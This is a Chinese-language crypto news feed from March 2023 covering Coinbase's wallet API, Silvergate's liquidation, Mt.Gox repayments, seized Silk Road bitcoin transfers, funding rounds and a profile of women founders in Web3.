    Coinbase 宣布推出钱包基础设施 API「钱包即服务（WaaS）」，允许公司为用户创建和部署可定制链上钱包 Coinbase 宣布推出可扩展和安全的钱包基础设施 API「钱包即服务（WaaS）」，允许公司能够为他们的终端用户创建和部署完全可定制的链上钱包。Coinbase 表示，钱包即服务允许用户通过简单的用户名和密码认证来创建、访问和恢复钱包，且其部署的钱包采用多方计算（MPC）增加安全性，通过在多方之间安全地划分、加密和分发密钥来帮助保护用户资产安全。此外，用户可以完全控制自己的资产。且公司可以通过该 API 在应用程序中构建本地钱包以保证用户体验。Floor、Moonray、Thirdweb 和 Tokenproof 正在使用 WaaS 进行构建。 内容来源 观点： Zach Segal（Coinbase 上架主管 ）：WaaS 允许开发者为其用户轻松部署加密货币钱包，钱包可以直接集成至现有应用程序中，这无疑实现了向 Web3 的大规模无缝过渡。现在在任何区块链上创建一个 MPC 钱包，实际上就像调用「CreateMPCWallet 」API 一样简单。【原文为英文】 内容来源 yuga.eth：WaaS 将能为下一波 Web2 和大型企业公司进入加密行列提供帮助。WaaS 提供与网络无关的 API 以创建加密钱包并与区块链互动，它可以处理从地址推导至 nonce 管理，再到复杂交易协调的一切。此外，该钱包由多方计算驱动，提供了很多优势，包括通过阈值签名实现最大安全性、无需 Gas 的多签钱包、可证明的非托管等。【原文为英文】 内容来源 crypcipher（Nervina Labs 首席执行官）：1）虽然 MPC 将用户从私钥管理中解放出来，但其密钥管理依赖于 HSM 或云服务器，而 HSM 或云服务器容易出现批量不可恢复故障；2）MPC 钱包从未解决过单点故障的问题，即使密钥共享服务器是分开的，但仍然由同一个解决方案供应商运营和维护；3）MPC 是一个钱包 SaaS 产品，开发者和初创公司无法在不可靠服务上构建应用程序。【原文为英文】 内容来源

  • Open

    多链DeFi 3.0浪潮下，哪些加密项目将引领潮流？
    多链DeFi 3.0浪潮下，哪些加密项目将引领潮流？ – 深潮TechFlow 撰写：Jack Niewold Read the full entry  ( 3 min )
    多链DeFi 3.0浪潮下，哪些加密项目将引领潮流？
    多链DeFi 3.0浪潮下，哪些加密项目将引领潮流？ – 深潮TechFlow 撰写：Jack Niewold Read the full entry  ( 3 min )
    价值积累案例研究：Yuga Labs 如何打造庞大的商业帝国？
    价值积累案例研究：Yuga Labs 如何打造庞大的商业帝国？ – 深潮TechFlow 撰写：Vader Research Read the full entry  ( 9 min )
    价值积累案例研究：Yuga Labs 如何打造庞大的商业帝国？
    价值积累案例研究：Yuga Labs 如何打造庞大的商业帝国？ – 深潮TechFlow 撰写：Vader Research Read the full entry  ( 9 min )
    2023年十大Starknet项目一览：钱包、DeFi、跨链桥、稳定币和DID协议
    2023年十大Starknet项目一览：钱包、DeFi、跨链桥、稳定币和DID协议 – 深潮TechFlow 撰写：ZKX Read the full entry  ( 4 min )
    2023年十大Starknet项目一览：钱包、DeFi、跨链桥、稳定币和DID协议
    2023年十大Starknet项目一览：钱包、DeFi、跨链桥、稳定币和DID协议 – 深潮TechFlow 撰写：ZKX Read the full entry  ( 4 min )

  • Open

    比特币矿商Marathon已结束与Silvergate Bank的信贷安排，提前偿还了定期贷款
    PANews 3月9日消息，据The Block报道，比特币矿商Marathon Digital Holdings表示，已偿还了定期贷款，并结束了与Silvergate Bank的信贷安排，将债务减少了5000万美元。Marathon首席财务官Hugh Gallagher周三在一份声明中表示：“我们一直在积极构建一个更稳健的资产负债表。鉴于我们目前的现金状况，我们认为提前偿还定期贷款并取消定期贷款和循环信贷额度设施符合公司的最佳利益”。Gallagher补充说，该公司还“释放”了约7500万美元的比特币。据此前消息，Silvergate Capital Corp.宣布将结束运营并自愿清算Silvergate Bank。 相关阅读：市场恐慌又至？仅1000个客户的Silvergate走入加密“死胡同”  ( 4 min )
    Web3内容平台Mirror推出NFT订阅铸造“Subscribe to Mint”功能
    PANews 3月9日消息，据Mirror在社交媒体宣布，该Web3内容平台已推出订阅铸造“Subscribe to Mint”功能，目前已在以太坊、Optimism和Polygon链上部署，旨在支持创作者和藏家之间的互动，新功能将有两个潜在用例：1、创世Drop，Web3项目可以发布内容并与包含项目徽标或符号的收藏NFT配对，然后使用“Subscribe to Mint”通过内容更新和后续NFT投放与项目受众互动。2、推出可收藏NFT系列，持有者可以完成铸造NFT并鼓励新用户注册成为订阅者以参与未来NFT投放。据悉，“Subscribe to Mint”功能对创作者是完全免费的，创作者将获得所售NFT的100%收益。  ( 4 min )
    Silvergate Capital将结束运营并自愿清算银行，包括全额偿还所有存款
    PANews 3月9日消息，据zerohedge报道，Silvergate Bank控股公司Silvergate Capital Corporation宣布将以有序的方式并按照与适用的监管程序结束运营，鉴于最近的行业和监管发展， Silvergate认为有序结束银行业务和自愿清算银行是最好的前进道路，该银行的清盘和清算计划包括全额偿还所有存款，同时还在考虑如何最好地解决索赔并保留其资产的剩余价值，包括其专有技术和税收资产。据悉，Centerview Partners LLC 将担任财务顾问，Cravath, Swaine & Moore LLP担任法律顾问，Strategic Risk Associates提供过渡项目管理协助。根据FDIC网站信息，这是自2020年以来美国第一家银行倒闭。 相关阅读：市场恐慌又至？仅1000个客户的Silvergate走入加密“死胡同”  ( 4 min )
    Mt.Gox最大债权人计划持有获偿付的比特币
    PANews 3月9日消息，据彭博社报道，据知情人士透露，已破产加密交易所Mt.Gox的最大债权人Mt.Gox投资基金（Mt Gox Investment Fund）计划持有而不是出售将于今年获偿付的比特币。该基金选择在9月获得提前支付，而不是等待所有诉讼得到解决后再获得赔偿。它将以大约70%比特币和30%现金的比例获得90%的剩余赔付款。目前尚不清楚该基金预计收到的比特币数量。据此前消息，Mt.Gox提供的“偿付方案”（Rehabilitation Plan）包括“基础偿付”(Base Repayment) 部分和“比例偿付”(Proportional Repayment) 部分，其中基础偿付部分的金额一致，比例偿付部分为债权人提供2种选择，即“中期还款和终期还款”或“早期一次总付还款”。  ( 4 min )
    知情人士：摩根大通正结束与Gemini的业务合作关系
    PANews 3月9日消息，据CoinDesk报道，据一位知情人士透露，摩根大通正在结束与加密交易所Gemini的业务合作关系。早在2020年初，Gemini和Coinbase就成为了摩根大通的客户。加密行业在去年曾因多次丑闻和崩盘而受到冲击，现在面临着更严格的监管审查，加密公司获得银行服务的难度也变得更大。Gemini随后在推特发文称，与报道内容相反，Gemini与摩根大通的银行合作关系未受到影响。据Gemini网站显示，该公司还与道富银行（State Street）等建立了合作关系。 更新：Gemini否认“摩根大通正结束与其的合作关系”的报道。  ( 4 min )
    美联储主席鲍威尔再次呼吁明确加密货币注册框架
    PANews 3月8日消息，美联储主席鲍威尔在出席众议院听证会时强调尚未就加息步伐做出决定，在3月会议之前有重要数据尚未公布。美联储关注就业空缺、CPI，PPI和就业数据。将以即将发布的数据为指导。最终利率可能高于我们的预期。异常强劲的就业报告和通胀报告指向同一个方向。 鲍威尔还表示，如果美国违约，没人应该认为美国发生债务违约的情况下，美联储会保护经济。美联储不寻求也没有在财政政策中的相关职责。国会提高债务上限是唯一的选择。美联储主席鲍威尔再次呼吁明确加密货币注册框架。各州也可能在加密监管中发挥作用。发行零售央行数字货币（CBDC）需要获得国会批准。  ( 4 min )
    价值10亿美元的暗网相关比特币被转移，大部分或是美司法部内部转账
    3月8日，在本次因美联储主席鲍威尔释放加息措辞引发市场下跌的情况下，高达4.9万枚比特币的巨额异动加剧了市场FUD情绪，并引发了诸多猜测。而这笔价值高达10亿美元的巨鲸操作来自于美国司法部扣押的暗网丝绸之路（Silk Road）。 那么，美国执法部门会砸盘吗？从目前来看，加密市场暂不会出现如此大体量的比特币砸盘行为。 根据派盾监测数据显示，美国执法部门相关地址分别将4.9万枚比特币转移至加密交易平台Coinbase和另外两个地址，价值约和10亿美元。其中，只有超9800枚比特币转至Coinbase，而剩余的超3.9万枚比特币则分别转到另外两个地址，加密数据分析公司Glassnode分析认为或是内部转账，而一般而言资产重新分配是常规管理操作，并不会涉及出售行为。 而这部分比特币是美国执法部门分别于2021年11月和2022年3月扣押涉及暗网丝绸之路（Silk Road）的非法所得。2022年11月，美国司法部宣布从一名黑客JAMES ZHONG手中没收了超5万多枚比特币，这些当时价值超过33.6亿美元的比特币被藏在一个地下保险箱及爆米花罐内的微型电脑中，这名黑客承认10年前从丝绸之路非法获取这些比特币，这也成为美国司法部史上最大规模的加密货币扣押案件，且是该部有史以来缴获金额第二大的金融案件。时隔几个月，即2022年3月，JAMES ZHONG自愿又交出了超1000枚比特币。（相关阅读：华人钟某利用暗网漏洞，窃取33.6亿美元比特币） 此外，早在2013年，美司法部在查封丝绸之路时就收缴了14.4万枚比特币。不仅如此，2020年11月，该部门在调查“丝绸之路”时又查获了7万枚比特币，当时价值10亿美元，而这笔缴获的比特币是2013年由名为“Individual X”的黑客从丝绸之路的钱包中转移出去的。 除了美司法部还在诸多执法行动中缴获了不少比特币。比如，2022年2月，美国司法部表示其已缴获了在2016年黑客袭击虚拟货币交易所Bitfinex间被盗的超36亿美元的比特币（按查获时的价格计算）。 可以说，美司法部是名副其实的顶级“巨鲸”。而一旦将如此大体量的比特币进行抛售，势必会对整个加密市场产生一定影响，那么该部门在收缴扣押这些加密资后通常是如何处置的？ 实际上，多年来美政府大多会采取拍卖的形式处理这部分资产。比如，前文提到的14.4万枚比特币就于2014年和2015年以以约4800万美元的价格拍卖掉。就在今年1月，美司法部还拍卖出售了3812枚比特币，获得3100万美元的收益，这些比特币来源于民事没收和部分国土安全部以及FBI进行的犯罪案件缴获。 总的来说，从历史上多次批量拍卖比特币来看，美国政府更愿意采取拍卖方式来处理这些罚没的加密资产，但仍不能排除其将在市场进行抛售变现的几率。  ( 4 min )
    加密薪酬合规公司Toku完成2000万美元融资， Blockchain Capital等参投
    PANews 3月8日消息，据Fortune报道，加密薪酬合规发放公司Toku完成2000万美元融资， Blockchain Capital、 Orrick、Alchemy、GMJP、OrangeDAO、Reverie、Quantstamp、Next Web Capital、Protocol Labs创始人Juan Benet、Cameron、Tyler Winklevoss等参投。 该公司旨在帮助加密公司处理与代币相关的薪酬发放的税法工作，它声称已经在数十个国家创建了一个系统来跟踪与加密相关的税法和法规，目前拥有30家客户，包括Filecoin Foundation、Gitcoin等。  ( 4 min )
    PA日报｜Consensys发布ETH质押提款指南；Shibarium公测版将于本周发布
    今日要闻提示： 鲍威尔：我们在加密领域看到了相当多欺诈行为和风险存在 Consensys发布《ETH质押提款指南》并推荐选择部分提款，届时将推出纪念NFT Lido关于在以太坊上V2版本升级的提案已获投票通过 Shiba Inu二层解决方案Shibarium将于本周发布公测版 灰度诉美SEC案开庭首日，法官质疑SEC拒绝灰度的现货比特币ETF申请 币安NFT市场新增支持Polygon网络 派盾：美国执法部门将4.9万枚BTC转至Coinbase和另外两个地址 币安的现货市场份额已增至2月份的61.8%，连续第四个月扩大 监管消息 鲍威尔：我们在加密领域看到了相当多欺诈行为和风险存在 美联储主席鲍威尔在出席参议院听证会时发言表示，我们正在关注加密货币领域，因为这一领域波动很大。我们在加密领域看到了相当多欺诈行为和风险存在。其还称，美联储准备在数据允许的情况下加快加息步伐。 NFT Consensys发布《ETH质押提款指南》并推荐选择部分提款，届时将推出纪念NFT Consensys发布《ETH质押提款指南》，指南中提到，部分提款使质押者受益，因为质押者可以定期访问他们的验证者获得的CL质押奖励（扣除任何罚款），而不会产生任何gas成本，也不必退出他们的验证者。此外，由于以太坊验证者的有效余额上限为32 ETH，因此验证者余额上的任何剩余ETH都是无用的。部分提款允许质押者访问这些过剩的、非生产性的ETH，并将其重新部署以激活新的以太坊验证器或其他地方。部分提款也应该通过防止过长的退出队列和过多的验证者流失而使以太坊网络受益，这可能会破坏网络的稳定性。 目前，58%的人拥有0x00类型的取款凭据。在剩下的42%中，使用0x01类型的取款凭证，大约61%（或所有以太坊验证器的25%）由Lido验证器集操作。 此外，为庆祝升级，ConsenSys将在3月下旬/4月中旬升级上线时推出其第二个纪念NFT系列，并邀请Web3爱好者通过领取NFT参与。 项目动态 彭博社：Silvergate正与美国联邦存款保险公司磋商如何维持经营 据彭博社援引知情人士的话称，美国联邦存款保险公司(FDIC)官员一直在与陷入困境的加密银行Silvergate Capital高管就如何帮助该公司继续经营进行磋商。一位消息人士称，其中一个选择为招募加密行业投资者，以帮助提高Silvergate的流动性。上周美联储已授权FDIC的审查人员前往Silvergate位于加州拉霍亚的总部，美联储是Silvergate的主要联邦监管机构。据此前消息，Silvergate上周宣布将推迟提交年报，因为它需要接受监管机构的询问和调查。该公司进一步警告称，其“继续经营”的能力可能会受到影响。随后Silvergate的股价下跌超过50%，创历史新低。Silvergate还宣布，将暂停Silvergate Exchange Network (SEN)服务。 数字人民币App新增“微信支付” 据证券日报报道，2023年3月份，数字人民币App（试点版）“钱包快付管理”中正式新增“微信支付”。目前用户已经可以在数字人民币App（试点版）开通微信支付钱包快付。依据数字人民币App现行规则，单笔支付限额为2万元，日累计支付限额为2万元，用户也可以进行相应限额设置。 此前2022年12月份，支付宝官宣作为首家支付平台正式加入数字人民币受理网络。 Lido关于在以太坊上V2版本升级的提案已获投票通过 Snapshot页面显示，Lido关于在以太坊上V2版本升级的提案以100%的支持率获得投票通过。根据该提案，V2版本升级将包括对以太坊提款的支持以及质押路由器。Lido计划在提案通过后于3月7日至31日期间在Goerli测试网上进行测试。V2版本在主网上的部署则取决于以太坊Shapella升级时间以及审计结束时间。 Optimism：最新版本存在问题，已更新者需回滚至op-geth版本 以太坊L2网络Optimism发推称，此前要求基础设施提供商在Optimism Goerli硬分叉之前将op-geth更新到新版本，但现在已发现最新版本存在问题，目前正在更新代码存储库以解决相关问题。 对于已经更新了版本的基础设施提供商，Optimism要求回滚到以前版本的op-geth，如果尚未更新则无需执行任何操作，Optimism将很快分享更新版本。 此前3月6日消息，Optimism将于3月18日进行Optimism Goerli硬分叉升级。目前官方已删除此推文，并称这是因为相关信息不准确。 Shiba Inu二层解决方案Shibarium将于本周发布公测版 Shiba Inu在推特上宣布，Shiba生态Layer 2区块链解决方案Shibarium将于本周发布公共测试版本。Shiba Inu将通过官方推特渠道公布如何访问测试版网站的详细信息。 据悉，Shibarium测试网将使用BONE测试代币，以允许用户和开发人员在网络上进行大规模测试。此前2月27日消息，Shibarium已上线新网站和接收系统，即将发布的Beta版上所有代币和产品仅用于测试。 Cosmos Hub将于3月15日进行V9 Lambda升级，将激活“Replicated Security”功能 据治理页面显示，Cosmos Hub关于v9 Lambda升级提案以99.48%的支持率获得投票通过。Cosmos Hub在官方推特上宣布将于3月15日进行V9 Lambda升级。 根据该提案，本次升级旨在激活Replicated Security功能，这将强制执行链间安全性（ICS）的良好运行规则。Replicated Security功能可将Cosmos Hub的安全性复制到消费者链，并监控对规则的遵守情况，消费者链可以从Cosmos Hub的安全性中受益，而不必维护自己的验证者。 Gitcoin推出以太坊质押指数代币gtcETH，通过质押ETH为公共产品筹资 据官方博客，Gitcoin和Index Coop合作推出Gitcoin Staked ETH Index (gtcETH)，以提供一种被动资助公共产品的方式。gtcETH是一种ERC-20代币，将构建在Index Protocol上，包含Rocket Pool、Lido和StakeWise流动性质押代币。gtcETH将使代币持有者能够通过单一代币访问各种ETH流动性质押代币，同时为公共产品融资作出贡献。 文章称，gtcETH为那些有兴趣为公共产品捐款的人提供了一个双赢的解决方案。标的资产获得的部分质押奖励将逐步增值，并以升值的形式变现。除了保留对ETH的价格敞口外，代币持有者还可以在为公共物品捐款的同时获得一些质押奖励。这与直接捐赠不同，用户必须放弃他们的ETH。通过购买和持有gtcETH代币，Gitcoin贡献者现在可以：1.保留他们的ETH并保持价格敞口；2.获得质押和执行层奖励；3.为Gitcoin Grants捐款。此外，该代币还通过多个流动代币使投资组合多样化，并促进流动代币生态系统内的去中心化。 在gtcETH 2%的年化流费用中，1.75%归Gitcoin, 0.25%归Index Coop。在用户持有1枚gtcETH代币一年并赚取5%总质押APR的情况下（假设ETH价格恒定为1,700美元），由此产生的对Gitcoin的贡献大约是参与者以前在Gitcoin Grants中平均贡献的两倍。以100万美元的TVL（总价值锁定）计算，gtcETH每年将为Gitcoin Grants贡献约17,500美元。官方预测，gtcETH的初始组合在计入年化流费用 (2.00%) 后将产生2.99%的净APR。各种因素（质押的ETH百分比、网络费用、费用销毁等）从根本上影响奖励率，因此收益率会随着时间的推移而变化。 灰度诉美SEC案开庭首日，法官质疑SEC拒绝灰度的现货比特币ETF申请 据路透社报道，美国联邦上诉法院法官周二质疑美国证券交易委员会 (SEC)拒绝Grayscale Investment（灰度）的现货比特币ETF申请是否正确，因为该机构此前已批准比特币期货产品。华盛顿哥伦比亚特区上诉法院的一个法官小组就灰度的论点向美国证券交易委员会施压，该委员会称，由于监管机构此前批准了某些监管协议，以防止基于比特币期货的ETF出现欺诈行为，因此同样的设置也适用于灰度的现货基金，因为现货和期货基金都依赖于比特币价格。 法官Neomi Rao表示：“对于一个机构来说，我们需要更多信息，但似乎这里有很多关于这些市场如何协同工作的信息，而美国证券交易委员会没有提供任何解释。”灰度首席法律顾问、奥巴马时代的美国总检察长Donald Verrilli Jr.在法庭上表示，比特币现货ETF将“更好地保护投资者”，因为根据与比特币期货交易场所芝加哥商品交易所达成的监管协议，比特币现货ETF将让投资者受益于监管。 此外，据The Block报道，灰度与SEC之间的裁决可能需要等3到6个月的时间。彭博高级ETF分析师Eric Balchunas发推文称：“我们的高级诉讼分析师在今天上午（当地时间）听完灰度与SEC辩论后，将灰度公司的胜算从40%提高到70%。”数据显示，GBTC现报12.9美元，单日涨幅达9.6%，目前负溢价收窄至42.11%。 此外，FTX新任CEO表示，Alameda债权人的灰度信托基金持仓价值约2.9亿美元。 CZ：法币支持的稳定币不会长久存在，稳定币会更新迭代 Binance创始人CZ在Twitter Space发言中表示，Binance没有在BUSD上获得任何额外利益，目前正在考虑美元以外的稳定币，以及其他稳定币发行商。法币支持的稳定币不会长久存在，稳定币会不断进化迭代。长期看来，10到20年后，非法币支持的稳定币可能会占主导地位。预计今年是加密调整复苏的一年，不对创下新高抱有期待。 币安NFT市场新增支持Polygon网络 币安 NFT 市场宣布 Polygon 网络已添加到其支持的链列表中，用户现在可以在币安 NFT 市场上从 Polygon 网络购买、存入、提取和铸造NFT。截止目前，币安 NFT 市场已兼容 BNB 智能链 (BSC)、以太坊 (ETH) 网络和 Polygon (MATIC) 网络。 融资消息 游戏公司Believer完成5500万美元融资，Lightspeed领投，a16z等参投 据TechCrunch报道，比特币矿企 Riot 前高管 Michael Chow 和 Steven Snow 创立的游戏初创公司 Believer 完成 5500 万美元融资，Lightspeed Venture Partners 领投，参投方包括 Andreessen Horowitz（a16z）、Bitkraft Ventures、Riot Games、1Up Ventures、Don Thompson 的 Cleveland Avenue 和 Michael D. 等。 Believer 将首先开发原创 IP、叙事以及技术游戏。Believer 创始人表示，不太可能在 3-5 年内推出任何产品。Steven Snow 称该公司希望利用生成式 AI 做更多事情。 Web3足球游戏公司Matchday完成2100万美元种子轮融资，梅西旗下基金Play Time参投 据Fastcompany报道，Web3游戏互动娱乐初创公司Matchday宣布完成2100万美元种子轮融资，梅西旗下基金Play Time参投。Matchday将 Web3 和移动游戏结合起来，创建一套由FIFA授权的足球游戏，Matchday首席游戏官Sebastien de Halleux表示相信真正的所有权对于为游戏玩家创造一系列新体验非常重要，希望将数亿球迷吸引到Web3，该公司预计第一款游戏将在第二季度发布。 EigenLayer开发商Layr Labs在近6448万美元的融资目标中已筹集约5673万美元 据美SEC官网公告，以太坊再质押协议EigenLayer开发商Layr Labs正在进行目标为近6448万美元的新一轮融资，目前已筹集约5673万美元。 另据Crunchbase数据显示，Layr Labs此前已通过三轮融资筹集1560万美元。 矿业消息 Jack Dorsey旗下支付公司Block计划构建比特币挖矿开发工具包 Jack Dorsey旗下支付公司Block在官方博客上表示，其正在考虑构建比特币挖矿开发工具包或MDK，目前设想的MDK将包括：1.强大、可靠、工业级的比特币挖矿算力板；2.专为与算力板配合使用而设计的定制控制器板；3.开源固件、软件API和Web前端；3.丰富的参考资料和支持文档，方便算力板的轻松定制。Block将在接下来的几周和几个月内进一步更新其挖矿硬件计划。 文章表示：“MDK旨在是为开发人员提供一套工具，以帮助释放比特币挖矿硬件的创造力和创新。我们预计MDK对专注于将比特币挖矿集成到各种新用例(如加热解决方案、离网挖矿、家庭挖矿或间歇性电力应用)的开发项目非常有用，以及为传统商业挖矿操作优化比特币挖矿硬件。通过MDK，我们看到了增加比特币挖矿硬件的可访问性和开放性的重大机会，以加速该领域的创新。” 重要数据 数据：受监管不确定性推动，芝商所以太坊期权交易量创历史新高 The Block数据显示，比特币和以太坊期货和期权交易量在今年2月再次走高。上个月所有交易所的比特币期货交易总量为7910亿美元，高于1月份的6970亿美元，连续第三个月实现增长。与此同时，期权交易量从177亿美元增至约200亿美元。受FTX崩盘推动，机构投资者将目光投向了受监管的交易所。芝加哥商品交易所（CME）的以太坊期权交易量创去年8月上线以来的最高水平。比特币期权未平仓合约也创历史新高，首次突破10亿美元。 派盾：美国执法部门将4.9万枚BTC转至Coinbase和另外两个地址 派盾监测数据显示，美国执法部门相关地址将4.9万枚BTC（价值约合10亿美元）转至Coinbase（超过9,800枚BTC）、bc1qf2开头地址（超过3万枚BTC）和bc1qe7开头地址（约9,000枚BTC）。这部分BTC是美国执法部门于2021年11月和2022年3月扣押的Silk Road非法所得。 加密数据分析公司Glassnode对此表示，该执法部门转入的另外两个地址（bc1qf2和bc1qe7开头的地址）或为内部转账。 数据：Voyager今日转出价值共计3580万美元的加密货币 据推特用户Bit余烬监测，Voyager今日转出价值3580万美元的加密货币，分别将7000枚ETH（约合1094万美元）、622万枚MATIC（约合703万美元）转入Coinbase，将7000枚ETH（约合1094万美元）、250万枚FTM（约合101万美元）、200万枚IOTA（约合42万美元）、40万枚ONT（约合9万美元）转入Binance US，将3000亿枚SHIB（约合333万美元）、1164枚ETH转入加密货币做市商Wintermute，将10万枚DYDX转入Kraken（约合22万美元）。不过Voyager今日没有从交易所提取加密货币。 据悉，自2月14日以来Voyager几乎每天通过Coinbase出售加密资产。此前今日早些时候消息，法官批准Binance.US收购Voyager Digital资产，但交易仍需清除监管障碍。 币安的现货市场份额已增至2月份的61.8%，连续第四个月扩大 据CoinDesk报道，加密货币交易所币安已连续第四个月扩大其在加密货币交易所的现货市场份额。据加密市场数据提供商 CryptoCompare 的一份报告，该交易所市场份额从 1 月份的 59.4% 增加到 2 月份的 61.8%。币安的现货交易量增长了 13.7%，达到 5040 亿美元，创下该交易所的历史最高市场份额。Coinbase 的交易量仅次于币安，交易额为 399 亿美元（环比下降 29%），其次是 Kraken，交易额为 193 亿美元（环比下降 11%）。 报告称，2 月份，币安在衍生品交易所的市场份额也有所增长，攀升至 62.9%，创下有史以来最高的月度市场份额记录。交易所 OKX 和 Bybit 分别以 14% 和 13.3% 的市场份额紧随其后。  ( 5 min )
    Web3足球游戏公司Matchday完成2100万美元种子轮融资，梅西旗下基金Play Time参投
    PANews 3月8日消息，据Fastcompany报道，Web3游戏互动娱乐初创公司Matchday宣布完成2100万美元种子轮融资，梅西旗下基金Play Time参投。Matchday将 Web3 和移动游戏结合起来，创建一套由FIFA授权的足球游戏，Matchday首席游戏官Sebastien de Halleux表示相信真正的所有权对于为游戏玩家创造一系列新体验非常重要，希望将数亿球迷吸引到Web3，该公司预计第一款游戏将在第二季度发布。  ( 4 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.08）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    CZ：法币支持的稳定币不会长久存在，稳定币会更新迭代
    PANews 3月8日消息，Binance创始人CZ刚刚在Twitter Space发言中表示，Binance没有在BUSD上获得任何额外利益，目前正在考虑美元以外的稳定币，以及其他稳定币发行商。法币支持的稳定币不会长久存在，稳定币会不断进化迭代。长期看来，10到20年后，非法币支持的稳定币可能会占主导地位。预计今年是加密调整复苏的一年，不对创下新高抱有期待。  ( 4 min )
    视频｜门头沟Mt.Gox赔偿最新进度，14万枚BTC为什么不会砸盘？4件大事影响加密市场！
    00:00 内容总览 00:55 什麽是门头沟事件？ 02:38 PANEWS PARTY AWARD 2023 投票！ 03:05 债权人会如何获得赔偿？ 04:27 市场是否会面临被砸风险？ 06:21 市场四件大事 涉及超13.7万枚比特币，Mt.Gox清偿窗口即将打开，债权人会如何获得赔偿？ https://www.panewslab.com/zh/articledetails/h71956w3.html PANews Party AWARD 2023 投票入口 https://www.panewslab.com/party/2023/vote  ( 4 min )
    币安的现货市场份额已增至2月份的61.8%，连续第四个月扩大
    PANews 3月8日消息，据CoinDesk报道，加密货币交易所币安已连续第四个月扩大其在加密货币交易所的现货市场份额。据加密市场数据提供商 CryptoCompare 的一份报告，该交易所市场份额从 1 月份的 59.4% 增加到 2 月份的 61.8%。币安的现货交易量增长了 13.7%，达到 5040 亿美元，创下该交易所的历史最高市场份额。Coinbase 的交易量仅次于币安，交易额为 399 亿美元（环比下降 29%），其次是 Kraken，交易额为 193 亿美元（环比下降 11%）。 报告称，2 月份，币安在衍生品交易所的市场份额也有所增长，攀升至 62.9%，创下有史以来最高的月度市场份额记录。交易所 OKX 和 Bybit 分别以 14% 和 13.3% 的市场份额紧随其后。  ( 4 min )
    巾帼不让须眉：盘点Web3 中的“硬核”女性及她们的项目
    原文：《Web3 中的“硬核”女性：她们创建了哪些项目？》 整理：西昂翔、flowie、念青，ChainCatcher 在今年的妇女节前夕，BCGX、波士顿咨询集团 (BCG)以及 People of Crypto 的一份新报告披露了一组挺扎心的数字：只有 13% 的 Web3 创始团队包括女性。而在创始人数据中，女性仅为 7%。这份报告还发现，男性创立的 Web3 初创公司筹集的资金几乎是女性创立的公司的 4 倍，这一差距比其他初创公司更大。 简单总结就是，相对其他行业，本来 Web3 创业的女性就很少了，而这个行业似乎对女性的歧视更为严重，从而提高了女性进入 Web3 行业的门槛。她们成为了这个行业更为低调的存在。 事实上，在 Web3 领域并不缺少耀眼的女性创业者和充满力量的女性领袖。ChainCatcher 联合数据平台 RootData 通过【由女性创立的 Web3 项目】合辑标记了众多女性项目创业者，希望能通过这个合辑让“她们”被更多人看到。 本合辑的记录并不完善，如果这个合辑中还没收录你认识的在 Web3 领域闪闪发光的女性，欢迎推荐给我们，联系方式在文末。 推特：@dawnsongtweets 宋晓冬教授本科毕业于清华大学物理系，随后在美国康奈尔大学继续学习物理。但之后她转学到了卡内基梅隆大学开始学习计算机科学，此后又在加州大学伯克利分校完成博士学位，专注于计算机安全。 毕业之后，宋晓冬历任卡内基梅隆大学、加州大学伯克利分校计算机系教授，在计算机领域获奖无数，有“计算机安全教母”之称。2019年，宋晓冬创办了 Oasis Labs，开始着手通过结合专用计算机芯片和区块链技术，构建可扩展和提供隐私保护的系统。Oasis Network于 2020 年 11 月 19 日正式上线，是全球首个具有隐私保护功能和可拓展性的去中心化高性能区块链网络。 宋晓冬教授也一直专注于区块链技术的教育，著名的公开课 DeFi MOOC 就是由宋晓冬发起的。此外，宋晓冬和加州大学伯克利分校还发起了 ZKP MOOC 及 ZKP/web3 黑客马拉，来为更多年轻的创业者提供学术、资金支持。 推特：@starkness Elizabeth Stark 拥有布朗大学国际关系专业的文学学士学位，并在哈佛大学法学院获得了法学博士学位。在进入加密世界之前，她更像一个学者，曾担任耶鲁信息社会计划的研究员，耶鲁大学计算机科学的讲师，纽约大学的兼职副教授，以及斯坦福StartX 的驻场企业家。 2014年，Elizabeth Stark 正式进入加密世界，创办了StartBitcoin.org；2015年成为加密货币政策研究机构 Coin Center 的研究员，倡导实施针对加密货币和其他去中心化技术的良好政府政策；2016 年共同创立了Lightning Labs。 Lightning Labs 开发了为闪电网络提供动力的软件。其开源、安全和可扩展的系统使用户能够比以往更有效地发送和接收资金。此外它还提供一系列可验证的、非托管的基于闪电网络的金融服务。 Elizabeth Stark 在创业后也并没有切断与学术的联系，还在兼任耶鲁大学信息社会项目的访问学者，并在耶鲁大学任教。作为 Thiel Fellowship 的导师，她还致力于为 23 岁以下打算辍学从事其他项目的学生提供支持。 推特：@heyibinance 从全球交易所格局来看，币安无疑占据了核心地位。而作为联合创始人兼 CMO 的何一，在币安发展过程中发挥了不可或缺的作用。 币安起初并不知名，但何一借助多项市场营销活动成功帮助它获得早期所必须的市场热度和用户量。2017 年底上线五个月之际，币安交易量排到全球 Top3，用户数量超 200 万。此后币安更是一骑绝尘。 而在币安奠定坚实的交易所头部地位之后，何一开始负责 Binance Labs，借助币安资源寻找、帮助、孵化更多的早期优质加密项目及创始人。作为业内资管规模最大的风投机构之一，Binance Labs 不仅投中一大批在关键垂直领域中的早期项目，也为 Web3 加速进入主流做出了重要贡献。 推特：@jinglejamOP Jinglan Wang 最初对加密世界感兴趣是因为麻省理工学院比特币俱乐部，而为了更好地了解比特币，她果断选择转入计算机专业。从 2015 年开始，Jinglan Wang 醉心于以太坊的可扩展性研究。2019 年她参与创立非盈利研究组织 Plasma Group，这就是 Optimism 的前身。 Optimism 是一个利用 optimistic rollup 技术的以太坊 L2 解决方案，它大大降低了成本和交易时间，同时保留了以太坊的安全优势。2022 年 3 月，Optimism 估值达到 16.5 亿美元成功挤入加密独角兽行列。同年 6 月它正式推出治理代币 OP 并启动大规模空投，整个 crypto 为之沸腾。 推特：@leanthebean Elena Nadolinski 毕业于美国弗吉尼亚理工大学， 十几岁时就被美国白宫认定为计算机科学界的新星，曾在微软实习，并被热门的初创公司 Tilt 聘为工程师，然后在 Airbnb 从事软件开发工作。 在 2017 年的 Ethereum-Google 之后，Nadolinski 开始对加密世界产生强烈的兴趣，大量阅读白皮书并与创始人、协议开发人员和工程师交流。她开始参加黑客马拉松和聚会，提出问题、提供解决方案、结交朋友。之后，Nadolinski 选择全职创业，并创立了Iron Fish。 Iron Fish 是第 1 层区块链，旨在成为所有 Web3 的通用隐私层。Iron Fish 使用零知识证明 (zk-SNARK) 